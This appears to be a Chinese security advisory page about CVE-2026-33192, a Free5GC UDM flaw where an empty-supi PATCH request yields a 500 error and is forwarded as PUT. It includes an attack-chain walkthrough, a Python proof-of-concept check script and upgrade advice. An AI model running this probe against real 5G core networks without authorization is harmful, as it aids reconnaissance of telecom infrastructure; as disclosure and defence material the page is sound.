IPBUF安全漏洞报告
English
CVE-2026-33192 CVSS 5.3 中危

CVE-2026-33192 Free5GC UDM信息泄露漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33192
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Free5GC

相关标签

信息泄露Free5GC5G核心网逻辑漏洞HTTP错误处理

漏洞概述

Free5GC是一个开源的第五代(5G)移动核心网络Linux基金会项目。在1.4.2版本之前,其统一数据管理(UDM)组件在处理带有空supi路径参数的PATCH请求时存在漏洞。该漏洞导致UDM错误地将来自UDR的400 Bad Request转换为500 Internal Server Error,并且在转发请求时错误地将PATCH方法转换为PUT。这种行为泄露了内部错误处理机制,导致客户端难以区分客户端错误和服务器故障。该问题已在1.4.2版本中修复。

技术细节

该漏洞源于Free5GC中UDM(统一数据管理)组件在处理HTTP请求时的逻辑缺陷。具体而言,当UDM接收到针对特定资源(如supi)的PATCH请求时,如果路径参数为空,它会将请求转发给UDR(统一数据仓库)。正常情况下,若参数无效,UDR应返回400 Bad Request。但受影响版本的UDM在处理此响应时存在错误,将其转换为500 Internal Server Error返回给客户端。此外,在转发过程中,UDM错误地将HTTP方法从PATCH修改为PUT,这违反了HTTP语义规范,表明存在更深层次的架构问题。攻击者可以通过发送构造的恶意HTTP请求(即包含空supi参数的PATCH请求)来触发此漏洞。通过分析服务器返回的错误代码和响应内容,攻击者可以推断出后端系统的内部处理流程和错误状态,从而实施进一步的侦察或针对内部架构的攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标网络中运行的Free5GC UDM服务接口及暴露的API端点。
STEP 2
漏洞利用
攻击者向UDM API发送特制的恶意HTTP请求,具体为向包含supi路径参数的端点发送PATCH请求,并将supi参数置空。
STEP 3
异常响应
UDM组件接收请求后,在转发给UDR时发生逻辑错误,将本应返回的400错误转换为500错误返回给攻击者,且内部将PATCH方法误转换为PUT。
STEP 4
信息泄露
攻击者通过分析异常的HTTP状态码和错误响应信息,确认了后端服务的内部错误处理逻辑和架构缺陷,为进一步攻击提供信息支持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # CVE-2026-33192 PoC: Free5GC UDM Improper Error Handling # Target: Free5GC UDM component < 1.4.2 # Description: Sending a PATCH request with an empty supi parameter triggers a 500 error instead of 400, # and the method is incorrectly translated to PUT internally. def check_vulnerability(target_url): # Standard UDM UE Context Management endpoint (example) # The supi parameter should be a valid IMSI or SUPI, here we send it empty. endpoint = "nudm-uecm/v1/ue-contexts/" full_url = f"{target_url.rstrip('/')}/{endpoint}" headers = { "Content-Type": "application/json", "Accept": "application/json" } # Payload data (can be empty or minimal) payload = {} try: print(f"[*] Sending request to: {full_url}") response = requests.patch(full_url, headers=headers, json=payload, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") # Analysis if response.status_code == 500: print("[+] Vulnerability confirmed! Server returned 500 Internal Server Error for empty supi.") print("[+] This indicates the UDM is masking 400 Bad Request errors as 500 errors.") elif response.status_code == 400: print("[-] Server returned 400 Bad Request. The target may be patched or not vulnerable.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP/Hostname target = "http://127.0.0.1:29500" check_vulnerability(target)

影响范围

Free5GC < 1.4.2

防御指南

临时缓解措施
建议立即应用官方补丁,升级至Free5GC 1.4.2版本。在无法立即升级的情况下,应限制对UDM API端点的网络访问,仅允许可信的NRF和AMF网元访问,并监控异常的HTTP 500错误日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表